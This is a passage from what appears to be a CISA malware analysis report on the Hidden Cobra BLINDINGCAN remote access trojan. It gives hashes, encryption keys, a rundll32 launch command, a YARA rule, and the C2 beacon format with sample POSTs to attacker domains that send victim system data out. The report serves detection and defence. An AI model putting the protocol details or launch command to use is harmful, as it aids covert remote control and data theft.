hxxps[:]//www[.]curiofirenze.com/include/inc-site.asp
hxxps[:]//www[.]curiofirenze.com/include/inc-site.asp
c:windowssystem32cmd.exe
%temp%
–End configuration data–

The malware decrypts its strings using a hard-coded RC4 key: “0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 82”. Displayed below are sample decrypted strings observed during analysis:

–Begin decrypted strings–
“HardwareDescriptionSystemCentralProcessor”
“ProcessorNameString”
“boardid, bbsNo, strBoardID, userid, bbsfilename, code, pidseqNo, ReportID, v, PageNumbernumviewread, action, pagemodeidx, cateId, bbsId, pType, pcode, index, tblidx_num, act, bbs_id, bbs_form, bidbbscate, menutcode, b_code, bname, tb, borad01, borad02, borad03, midnewsid, table, Board_seq, bc_idx, seqArticleIDB_Notice, nowPage, webid, boardDiv, sub_idx”
“\tsclient”
–End decrypted strings–

It collects the following information about the victim’s system and beacons the collected data to the C2 “curiofirenze.com” and
“automercado.co.cr”:

–Begin system information–
Operating system (OS) version information
Processor information
System name
Local IP address information
Media access control (MAC) address.
–End system information–

It attempts to retrieve the User-Agent string from the victim’s system. If not available, it uses the following embedded User-Agent string:

–Begin User-Agent String–
“Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36″ .
–End User-Agent String–

It will generate HTTP POST requests with the following format:

–Begin HTTP POST format–
POST /<uri> HTTP/1.1
Connection: Keep-Alive
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: <obtained from ObtainUserAgentString otherwise: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 >
Host: <domain>
Content-Length: <length>

id=<nine random character generated RC4 key><three_random_param_selected>&<second parameter>=<sessionID>&<third parameter >=<hard-coded_String>&<fourth parameter>=<datagram>
–End HTTP POST format–

The HTTP POST body contains four parameters of Base64 encoded data as displayed below:

–Begin four parameters–
Four parameters: id=<nine random character generated RC4 key><three_random_param_selected>&<second parameter>=<sessionID>&<third parameter >=<hard-coded_String>&<fourth parameter>=<datagram>

Sample: id=Z2ptZmx0b250JpzkM7R+AAxesq7t1Eo4Dg==&page=bsyybw==&bbsNo=AszBYcolV00l69W9ihtkLg==&bname=”
–End four parameters–

The first parameter tag, ‘id=’, will consist of two separate Base64 encoded parts. The first part consists of a Base64 encoded nine random generated lower case character RC4 key used for encryption. The second part of the ‘id=’ parameter tag will contain three parameters randomly selected from a list of the below strings. These three randomly selected name tags are colon delimited and stored in the following format:”first name tag:second name tag:third name tag”. This data is encrypted using the nine random character generated RC4 key and Base64 encoded.

–Begin randomly selected string tags–
“boardid, bbsNo, strBoardID, userid, bbsfilename, code, pidseqNo, ReportID, v, PageNumbernumviewread, action, pagemodeidx, cateId, bbsId, pType, pcode, index, tblidx_num, act, bbs_id, bbs_form, bidbbscate, menutcode, b_code, bname, tb, borad01, borad02, borad03, midnewsid, table, Board_seq, bc_idx, seqArticleIDB_Notice, nowPage, webid, boardDiv, sub_idx”
–End randomly selected string tags–

The second parameter tag ‘page=’ is a randomly selected name from the list of the above string tags which contains the “session id” data. This data is encrypted using the same generated RC4 key before Base64 encoded.

The third parameter tag ‘bbsNo=’ is a randomly selected name from a list of the above string tags which contains a hard-coded string data “T1B7D95256A2001E” in the malware. This data is encrypted using the RC4 key and then the data is Base64 encoded. Analysis indicates that when encrypting data from the first three parameters, the encryption starts “0xC00 bytes” into the RC4 key stream.

The fourth parameter tag ‘bname=’ is a randomly selected name from the list of the above string tags which contains the datagram to be sent. The datagram is encrypted with a combination of RC4 and differential XOR. The RC4 key used is “0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 82”.

It contains the following built-in functions for remote operations that provide various capabilities on a victim’s system:

–Begin built-in functions–
Retrieve information about all installed disks, including the disk type and the amount of free space on the disk
Create, start, and terminate a new process and its primary thread
Search, read, write, move, and execute files
Get and modify file or directory timestamps
Change the current directory for a process or file
Delete malware and artifacts associated with the malware from the infected system
–End built-in functions–

7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd

Tags

HIDDEN-COBRA

Details

Name
7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd

Size
163840 bytes

Type
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

MD5
6f329c32f228d9a4d856afd4794c7f2b

SHA1
4be9aecc0fc76c037420ece97645c6a32294a230

SHA256
7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd

SHA512
f4aff0e36fb98d64ff207a983ca7ed10c11ad7b01953b545c655a3349016f9d6c5fbd3cc8d44851cb68c51f069da2469b1e3445cd60b6e1365375402ad671160

ssdeep
384:vNV+PKlwRYnd2dPugCkPV59FYRz8xM6hwXlbfR+1nu6EDH+zj+1XoNC3vyFAt1:vNIKip92x8rhOdmnTEDwu3vy

Entropy
1.605796

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2019-10-30 22:21:48-04:00

Import Hash
75588d29242e426f361ddcf8c53954f5

PE Sections

MD5
Name
Raw Size
Entropy

0452202027da519acb3a7d074696de07
header
1024
2.351340

ae1c3feb6a3beda4db0ce8c794af77e7
.text
17920
6.473020

c139714dd00b81eb08ecaf32bdced254
.rdata
8192
4.655148

0685a556cdaa359c306b3c7830fc6f1e
.data
3072
2.403876

a2b361aa5b6f2d5912845d84ca96a368
.rsrc
512
5.105029

d2e652e58f57bd6314d5ebf8f59687e9
.reloc
2048
5.497034

Packers/Compilers/Cryptors

Microsoft Visual C++ DLL *sign by CodeRipper

Relationships

7d507281e2…
Contained_Within
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

Description

This application is a 32-bit DLL unpacked and executed by “b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9”. This file is designed to unmap the DLL “C:ProgramDataiconcache.db” loaded in the process.

0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6

Tags

downloaderdropper

Details

Name
0FC12E03EE93D19003B2DD7117A66A3DA03BD6177AC6EB396ED52A40BE913DB6

Size
900096 bytes

Type
PE32+ executable (DLL) (GUI) x86-64, for MS Windows

MD5
b1dd2c73b3c13a147828f7bb4389d241

SHA1
5275449d25a64e7415c1c1e727a0af76b08c2811

SHA256
0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6

SHA512
054b8c4345e97aa4719415971cb5df83f208a2c11302baba66392251a5d7d8251e564443fd4716d82cacf2a5da94250cc8defd9300e0885034c471a07cdc5510

ssdeep
12288:sXcnHdDS0zaEw2W912s3xN+JgHGJNfKAyhnB8EoarWY9ZtvaBmBJnLoAFMx8wIWF:sMH9S8avT2Ex5mJNfbyYBaaY9Ly8qK

Entropy
7.961146

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2020-05-20 02:03:51-04:00

Import Hash
65793cf7eaeca085293db7251eb4469a

PE Sections

MD5
Name
Raw Size
Entropy

a1c37a2c9fedecabe570383d81bfb5d6
header
1024
2.524544

61e11f8acaaf9d065546a237ced1e964
.text
31744
6.348358

9f1fe9ee707daa61e91ad94d618b066f
.rdata
11264
4.687720

300ac7ec543fda0fab22c110a7d26281
.data
850432
7.993358

da2a58c7e17c14ced8b67bc462ad7427
.pdata
2048
4.219318

531f04a4abeb58f9e10fffc6afe98250
.rsrc
512
5.110827

58c4168b836758e380e64f12eca00760
.reloc
3072
1.006647

Relationships

0fc12e03ee…
Dropped
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

Description

This application is a 64-bit DLL. Upon execution, it decodes an embedded 64-bit UPX packed DLL using a hard-coded XOR key: “0x59”. The decoded DLL is installed and executed from “C:ProgramDataiconcache.db” (d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5) with the following command:

–Begin Command–
“C:WindowsSystem32rundll32.exe C:ProgramDataiconcache.db,SMain S-7-43-8423-97048307-383378-8483”
–End Command–

d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

Tags

obfuscatedremote-access-trojan

Details

Name
iconcache.db

Size
845312 bytes

Type
PE32+ executable (DLL) (GUI) x86-64, for MS Windows

MD5
c2c5751cdfdbe9fac44337d4cb6e74e4

SHA1
02678efe715ff2658c6a4c2b596046b744a8b222

SHA256
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

SHA512
dddd82c21ee815a570689c8023f51267a2699346eadb8cf5cb6a2bfc4e0404ab8388608e934c03b8b69819bab1b5252ed8b29391f543a1c1e8aeb83360e5f4d2

ssdeep
24576:aSiVfP99Z7QI32TVKBixBWfSVz5HlWkZtk:aSMH94/TVKsfGc9Iqt

Entropy
7.996450

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2019-10-30 22:22:27-04:00

Import Hash
bddf350b1495019b036eb25682895735

Company Name
TODO: <Company name>

File Description
TODO: <File description>

Internal Name
MFC_DLL.dll

Legal Copyright
TODO: (c) <Company name>. All rights reserved.

Original Filename
MFC_DLL.dll

Product Name
TODO: <Product name>

Product Version
1.0.0.1

PE Sections

MD5
Name
Raw Size
Entropy

bbdf7f1c6cfdab4beb23ae1f5e5e8e3f
header
1024
2.753386

d41d8cd98f00b204e9800998ecf8427e
UPX0
0
0.000000

61de5945f98a8652eaf4ae5b93b41128
UPX1
838656
7.999757

70b01a5a98c1febe2bde96c9270957c3
.rsrc
5632
3.718427

Relationships

d5186efd85…
Connected_To
curiofirenze.com

d5186efd85…
Connected_To
automercado.co.cr

d5186efd85…
Dropped_By
0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6

d5186efd85…
Contains
58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

d5186efd85…
Contains
8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050

Description

This application is a 64-bit UPX packed DLL installed by “0FC12E03EE93D19003B2DD7117A66A3DA03BD6177AC6EB396ED52A40BE913DB6″ into the C:ProgramDataiconcache.db” directory. During execution, it uses AES cipher to decrypt and then decompress two embedded 64-bit DLL binaries “58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d” and “8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050” in memory. These binaries are loaded and executed in memory during runtime.

58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

Tags

HIDDEN-COBRA

Details

Name
58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

Size
214608 bytes

Type
PE32+ executable (DLL) (GUI) x86-64, for MS Windows

MD5
6c2d15114ebdd910a336b6b147512a74

SHA1
9feef1eed2a8a5cbfe1c6478f2740d8fe63305e2

SHA256
58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

SHA512
77fd1d56a0f0cf143286fb78519b69eb8ef30f383c117d353ab16d0be5f2bfdbdb847d717dbc8b70b5d806a46fa4a1dc29a8304b8349bc1097075f50557c5da8

ssdeep
3072:WvG/9l8VoAo8gj83efR0TmXBlPbAjoSrL90z1agX:0VoAo8qlWTmXBlPbAjHl0j

Entropy
4.709829

Antivirus

No matches found.

YARA Rules

rule CISA_10295134_01 : rat trojan HIDDENCOBRA BLINDINGCAN
{
   meta:
       Author = “CISA Code & Media Analysis”
       Incident = “10295134”
       Date = “2020-07-28”
       Last_Modified = “20200730_1030”
       Actor = “HiddenCobra”
       Category = “Trojan RAT”
       Family = “BLINDINGCAN”
       Description = “Detects 32 and 64bit HiddenCobra BlindingCan Trojan RAT”
       MD5_1 = “e7718609577c6e34221b03de7e959a8c”
       SHA256_1 = “bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1”
       MD5_2 = “6c2d15114ebdd910a336b6b147512a74”
       SHA256_2 = “58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d”
   strings:
       $s0 = { C7 44 24 20 0D 06 09 2A C7 44 24 24 86 48 86 F7 C7 44 24 28 0D 01 01 01 C7 44 24 2C 05 00 03 82 }
       $s1 = { C7 45 EC 0D 06 09 2A C7 45 F0 86 48 86 F7 C7 45 F4 0D 01 01 01 C7 45 F8 05 00 03 82 }
   condition:
       $s0 or $s1
}

ssdeep Matches

90
20ee5fdc9589067a7a312d6f660f0c8f33048f511975298ca6a9bfed145fe8fd

100
78a65874b49922217fd0423cc6293a23f70cb804022283ed3187b71178663ca3

PE Metadata

Compile Date
2020-05-19 03:26:27-04:00

Import Hash
af2479dbb1f93be4fc4a092cbbd4df85

PE Sections

MD5
Name
Raw Size
Entropy

6066ee1e6c73fe6133738f26cf898280
header
1024
2.581998

bfbe6f46025a25810199ae50f7f7ed04
.text
90624
6.498666

2cc742e33c53aeb638e9798422f8adaa
.rdata
31232
6.194223

21c81d1a5ad5583610f1bcb7827fec54
.data
14336
3.377777

0a93a2ad9833deb5581854bc11c7fcb7
.pdata
3584
4.918413

9a33838895830247744985365b8b2948
.rsrc
512
5.115767

e032dedb2f8e5a189a3a98897f1f7f92
.reloc
1536
2.852342

Relationships

58027c80c6…
Contained_Within
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

58027c80c6…
Connected_From
curiofirenze.com

58027c80c6…
Connected_From
automercado.co.cr

Description

This application is a malicious 64-bit DLL unpacked and executed by “d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5”. This binary has been identified as a 64-bit version of the Hidden Cobra RAT “bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1”. This file contains the same embedded configuration data. The embedded data is decrypted using a hard-coded AES decryption key: “81SNWX3ALGPDMW5V”. The decrypted data is decoded using an XOR cipher. Displayed below is the content of the decoded data:

–Begin configuration data–
https[:]//www[.]automercado.co.cr/empleo/css/main.jsp
https[:]//www[.]automercado.co.cr/empleo/css/main.jsp
https[:]//www[.]automercado.co.cr/empleo/css/main.jsp
https[:]//www[.]curiofirenze.com/include/inc-site.asp
https[:]//www[.]curiofirenze.com/include/inc-site.asp
c:windowssystem32cmd.exe
%temp%
–End configuration data–

The malware decrypts its strings using a hard-coded RC4 key “0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 82”. Displayed below are sample decrypted strings observed during analysis:

–Begin decrypted strings–
“HardwareDescriptionSystemCentralProcessor”
“ProcessorNameString”
“boardid, bbsNo, strBoardID, userid, bbsfilename, code, pidseqNo, ReportID, v, PageNumbernumviewread, action, pagemodeidx, cateId, bbsId, pType, pcode, index, tblidx_num, act, bbs_id, bbs_form, bidbbscate, menutcode, b_code, bname, tb, borad01, borad02, borad03, midnewsid, table, Board_seq, bc_idx, seqArticleIDB_Notice, nowPage, webid, boardDiv, sub_idx”
“\tsclient”
–End decrypted strings–

It collects the following information about the victim’s system and beacons the collected data to the C2 “curiofirenze.com” and
“automercado.co.cr”:

–Begin system information–
Operating system (OS) version information
Processor information
System name
Local IP address information
Media access control (MAC) address.
–End system information–

It attempts to retrieve the User-Agent string from the victim’s system, if not available, it uses the following embedded User-Agent string:

–Begin User-Agent String–
“Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36″ .
–End User-Agent String–

It will generate HTTP POST requests with the following format:

–Begin HTTP POST format–
POST /<uri> HTTP/1.1
Connection: Keep-Alive
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: <obtained from ObtainUserAgentString otherwise: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 >
Host: <domain>
Content-Length: <length>

id=<nine random character generated RC4 key><three_random_param_selected>&<second parameter>=<sessionID>&<third parameter >=<hard-coded_String>&<fourth parameter>=<datagram>
–End HTTP POST format–

The HTTP POST body contains four parameters of Base64 encoded data as displayed below:

–Begin four parameters–
Four parameters: id=<nine random character generated RC4 key><three_random_param_selected>&<second parameter>=<sessionID>&<third parameter >=<hard-coded_String>&<fourth parameter>=<datagram>

Sample: id=Z2ptZmx0b250JpzkM7R+AAxesq7t1Eo4Dg==&page=bsyybw==&bbsNo=AszBYcolV00l69W9ihtkLg==&bname=”
–End four parameters–

The first parameter tag, ‘id=’, will consist of two separate Base64 encoded parts. The first part consists of a Base64 encoded nine random generated lower case character RC4 key used for encryption. The second part of the ‘id=’ parameter tag will contain three parameters randomly selected from a list of the below strings. These three randomly selected name tags are colon delimited and stored in the following format:”first name tag:second name tag:third name tag”. This data is encrypted using the nine random character generated RC4 key and Base64 encoded.

–Begin randomly selected string tags–
“boardid, bbsNo, strBoardID, userid, bbsfilename, code, pidseqNo, ReportID, v, PageNumbernumviewread, action, pagemodeidx, cateId, bbsId, pType, pcode, index, tblidx_num, act, bbs_id, bbs_form, bidbbscate, menutcode, b_code, bname, tb, borad01, borad02, borad03, midnewsid, table, Board_seq, bc_idx, seqArticleIDB_Notice, nowPage, webid, boardDiv, sub_idx”
–End randomly selected string tags–

The second parameter tag ‘page=’ is a randomly selected name from the list of the above string tags which contains the “session id” data. This data is encrypted using the same generated RC4 key before Base64 encoded.

The third parameter tag ‘bbsNo=’ is a randomly selected name from the list of the above string tags which contains a hard-coded string data “T1B7D95256A2001E” in the malware. This data is encrypted using the RC4 key and then the data is Base64 encoded. Analysis indicates that when encrypting data from the first three parameters, the encryption starts “0xC00 bytes” into the RC4 key stream.

The fourth parameter tag ‘bname=’ is a randomly selected name from a list of the above string tags which contains the datagram to be sent. The datagram is encrypted with a combination of RC4 and differential XOR. The RC4 key used is “0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 82”.

It contains the following built-in functions for remote operations that provide various capabilities on a victim’s system:

–Begin built-in functions–
Retrieve information about all installed disks, including the disk type and the amount of free space on the disk
Create, start, and terminate a new process and its primary thread
Search, read, write, move, and execute files
Get and modify file or directory timestamps
Change the current directory for a process or file
Delete malware and artifacts associated with the malware from the infected system
–End built-in functions–

8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050

Details

Name
8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050

Size
172208 bytes

Type
PE32+ executable (DLL) (GUI) x86-64, for MS Windows

MD5
63d155f889e09272d85cfd9dfc266131

SHA1
3f6ef29b86bf1687013ae7638f66502bcf883bfd

SHA256
8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050

SHA512
1f5464c9cb2786174d953666a287d5a681abe627e9caddf45986cd73290e6d73db9ddf2ccd589a0c09e4fe10cdf42b1d8d31dbfc5759505866f516769fea1727

ssdeep
768:XKXHstI+TCTWBGtl7CTnEUbrNXzuXrSXjkD4opaY16iWr:X7TCN/CTrbrNjGsjMdvW

Entropy
1.637592

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2019-10-30 22:21:47-04:00

Import Hash
7e564082b35201e421694b4ecea4ed0a

PE Sections

MD5
Name
Raw Size
Entropy

71170f767f99b3b8e8fb41eb4ca505b9
header
1024
2.465212

99d34a0fcb234b3aed2a92fc7101b9f5
.text
20480
6.210180

46abe134e48b8af335f468d25c91a1fe
.rdata
9728
4.554618

c545b6874d37d733e970a7e884ddc2c7
.data
4096
2.099924

0d6201e58760b130181228a80ca4a775
.pdata
1536
3.828383

a09ee0743bee58fbe63a9a50c1d3f79b
.rsrc
512
5.105029

1360c7212899568e17f02f8e61db1c60
.reloc
512
4.003257

Relationships

8b53b51962…
Contained_Within
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

Description

This application is a 64-bit DLL unpacked and executed by “d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5”. This file is designed to unmap the DLL “C:ProgramDataiconcache.db” loaded in the process.

curiofirenze.com

Tags

command-and-control

URLs

hxxps[:]//www[.]curiofirenze.com/include/inc-site.asp

Ports

443 TCP

HTTP Sessions

https://www.curiofirenze.com/include/inc-site.asp
id=bHRhcGpjaGR05HIC99liJ/0pLNaM14H22x8ktA==&PageNumber=hitSpw==&bname=4CInpdMuf615aK3cidCq+w==&tb=
Connection: Keep-Alive
Cache-Control: no-cache
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: %d Mozilla/5 0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

Whois

Domain Name: curiofirenze.com
Registry Domain ID: 1874895918_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.joker.com
Registrar URL: https://joker.com
Updated Date: 2019-11-25T10:15:37Z
Creation Date: 2014-09-09T12:05:53Z
Registrar Registration Expiration Date: 2020-09-09T12:05:53Z
Registrar: CSL Computer Service Langenbach GmbH d/b/a joker.com
Registrar IANA ID: 113
Registrar Abuse Contact Email: abuse@joker.com
Registrar Abuse Contact Phone: +49.21186767447
Reseller: CWNET s.r.l.
Reseller: Internet Service Provider
Reseller: http://www.cheapnet.it
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant Organization: Curio s.r.l.
Registrant State/Province: FI
Registrant Country: IT
Name Server: lady.ns.cloudflare.com
Name Server: phil.ns.cloudflare.com
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of WHOIS database: 2020-06-30T20:18:19Z <<<

Relationships

curiofirenze.com
Connected_From
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

curiofirenze.com
Connected_From
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

curiofirenze.com
Resolved_To
192.99.20.39

curiofirenze.com
Connected_From
bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1

curiofirenze.com
Connected_To
58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

Description

Both the 32-bit and 64-bit “iconcache.db” connect to the domain via HTTPS POST requests on port 443 with encoded data.

192.99.20.39

Whois

Queried whois.arin.net with “n 192.99.20.39″…

NetRange:     192.99.0.0 – 192.99.255.255
CIDR:         192.99.0.0/16
NetName:        OVH-ARIN-7
NetHandle:     NET-192-99-0-0-1
Parent:         NET192 (NET-192-0-0-0-0)
NetType:        Direct Allocation
OriginAS:     AS16276
Organization: OVH Hosting, Inc. (HO-2)
RegDate:        2013-06-17
Updated:        2013-06-17
Comment:        www.ovh.com
Ref:            https://rdap.arin.net/registry/ip/192.99.0.0

OrgName:        OVH Hosting, Inc.
OrgId:         HO-2
Address:        800-1801 McGill College
City:         Montreal
StateProv:     QC
PostalCode:     H3A 2N4
Country:        CA
RegDate:        2011-06-22
Updated:        2017-01-28
Ref:            https://rdap.arin.net/registry/entity/HO-2

OrgAbuseHandle: ABUSE3956-ARIN
OrgAbuseName: Abuse
OrgAbusePhone: +1-855-684-5463
OrgAbuseEmail: abuse@ovh.ca
OrgAbuseRef:    https://rdap.arin.net/registry/entity/ABUSE3956-ARIN

OrgTechHandle: NOC11876-ARIN
OrgTechName: NOC
OrgTechPhone: +1-855-684-5463
OrgTechEmail: noc@ovh.net
OrgTechRef:    https://rdap.arin.net/registry/entity/NOC11876-ARIN

Relationships

192.99.20.39
Resolved_To
curiofirenze.com

Description

Domain “curiofirenze.com” resolved to this IP address during analysis.

automercado.co.cr

Tags

command-and-control

URLs

hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp

Ports

443 TCP

HTTP Sessions

hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp
id=ZHJnd296a3RneKp2cza8ztn5YZTuEO4IhpdkXb0=&bbs_id=Kfk8Gw==&bname=TvlHGxvhwYmiNri5Grdduw==&idx_num=
Connection: Keep-Alive
Cache-Control: no-cache
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: %d Mozilla/5 0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

Whois

domain:     automercado.co.cr
registrant: CON-292
admin-c:     CON-292
nsset:        AUTOMERCADO_CO_CR
registrar:    NIC-REG1
registered: 03.03.1996 06:00:00
changed:     24.02.2020 08:19:22
expire:     02.03.2021

contact:     CON-292
address:     San José
address:     1500-1000
address:     San Josí©
address:     CR
registrar:    NIC-REG1
created:     03.06.2011 22:38:21

nsset:        AUTOMERCADO_CO_CR
nserver:     ns3.x-peditenetworks.com
nserver:     ns1.x-peditenetworks.com
nserver:     ns2.x-peditenetworks.com
tech-c:     ASANCHEZ_AT_AUTOMERCADO.CR
registrar:    NIC-REG1
created:     03.06.2011 12:27:09
changed:     25.09.2012 10:01:46

address:     50 m sur del parque morazan
address:     San Jose
address:     1500-1000
address:     San José
address:     CR
registrar:    NIC-REG1
created:     25.09.2012 09:59:04
                                           

Relationships

automercado.co.cr
Resolved_To
54.241.91.49

automercado.co.cr
Connected_From
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

automercado.co.cr
Connected_From
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

automercado.co.cr
Connected_From
bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1

automercado.co.cr
Connected_To
58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

Description

Both the 32-bit and 64-bit “iconcache.db” connect to the domain via HTTPS POST requests on port 443 with encoded data.

54.241.91.49

Whois

Queried whois.arin.net with “n 54.241.91.49″…

NetRange:     54.240.0.0 – 54.255.255.255
CIDR:         54.240.0.0/12
NetName:        AMAZON-2011L
NetHandle:     NET-54-240-0-0-1
Parent:         NET54 (NET-54-0-0-0-0)
NetType:        Direct Allocation
OriginAS:     AS16509
Organization: Amazon Technologies Inc. (AT-88-Z)
RegDate:        2011-12-09
Updated:        2012-04-02
Ref:            https://rdap.arin.net/registry/ip/54.240.0.0

OrgName:        Amazon Technologies Inc.
OrgId:         AT-88-Z
Address:        410 Terry Ave N.
City:         Seattle
StateProv:     WA
PostalCode:     98109
Country:        US
RegDate:        2011-12-08
Updated:        2020-03-31
Comment:        All abuse reports MUST include:
Comment:        * src IP
Comment:        * dest IP (your IP)
Comment:        * dest port
Comment:        * Accurate date/timestamp and timezone of activity
Comment:        * Intensity/frequency (short log extracts)
Comment:        * Your contact details (phone and email) Without these we will be unable to identify the correct owner of the IP address at that point in time.
Ref:            https://rdap.arin.net/registry/entity/AT-88-Z

OrgAbuseHandle: AEA8-ARIN
OrgAbuseName: Amazon EC2 Abuse
OrgAbusePhone: +1-206-266-4064
OrgAbuseEmail: abuse@amazonaws.com
OrgAbuseRef:    https://rdap.arin.net/registry/entity/AEA8-ARIN

OrgNOCHandle: AANO1-ARIN
OrgNOCName: Amazon AWS Network Operations
OrgNOCPhone: +1-206-266-4064
OrgNOCEmail: amzn-noc-contact@amazon.com
OrgNOCRef:    https://rdap.arin.net/registry/entity/AANO1-ARIN

OrgTechHandle: ANO24-ARIN
OrgTechName: Amazon EC2 Network Operations
OrgTechPhone: +1-206-266-4064
OrgTechEmail: amzn-noc-contact@amazon.com
OrgTechRef:    https://rdap.arin.net/registry/entity/ANO24-ARIN

OrgRoutingHandle: ADR29-ARIN
OrgRoutingName: AWS Dogfish Routing
OrgRoutingPhone: +1-206-266-4064
OrgRoutingEmail: aws-dogfish-routing-poc@amazon.com
OrgRoutingRef:    https://rdap.arin.net/registry/entity/ADR29-ARIN

OrgRoutingHandle: IPROU3-ARIN
OrgRoutingName: IP Routing
OrgRoutingPhone: +1-206-266-4064
OrgRoutingEmail: aws-routing-poc@amazon.com
OrgRoutingRef:    https://rdap.arin.net/registry/entity/IPROU3-ARIN

Relationships

54.241.91.49
Resolved_To
automercado.co.cr

Description

Domain “automercado.co.cr” resolved to this IP during analysis.

Relationship Summary

586d012540…
Connected_To
agarwalpropertyconsultants.com

agarwalpropertyconsultants.com
Connected_From
586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e

agarwalpropertyconsultants.com
Resolved_To
199.79.63.24

199.79.63.24
Resolved_To
agarwalpropertyconsultants.com

158ddb8561…
Connected_To
anca-aste.it

7933716892…
Connected_To
anca-aste.it

6a3446b8a4…
Connected_To
anca-aste.it

anca-aste.it
Resolved_To
51.68.152.96

anca-aste.it
Connected_From
6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1

anca-aste.it
Connected_From
158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17

anca-aste.it
Connected_From
7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971

51.68.152.96
Resolved_To
anca-aste.it

d40ad4cd39…
Dropped
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

b70e66d387…
Connected_To
curiofirenze.com

b70e66d387…
Connected_To
automercado.co.cr

b70e66d387…
Dropped_By
d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9

b70e66d387…
Contains
bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1

b70e66d387…
Contains
7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd

bdfd16dc53…
Contained_Within
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

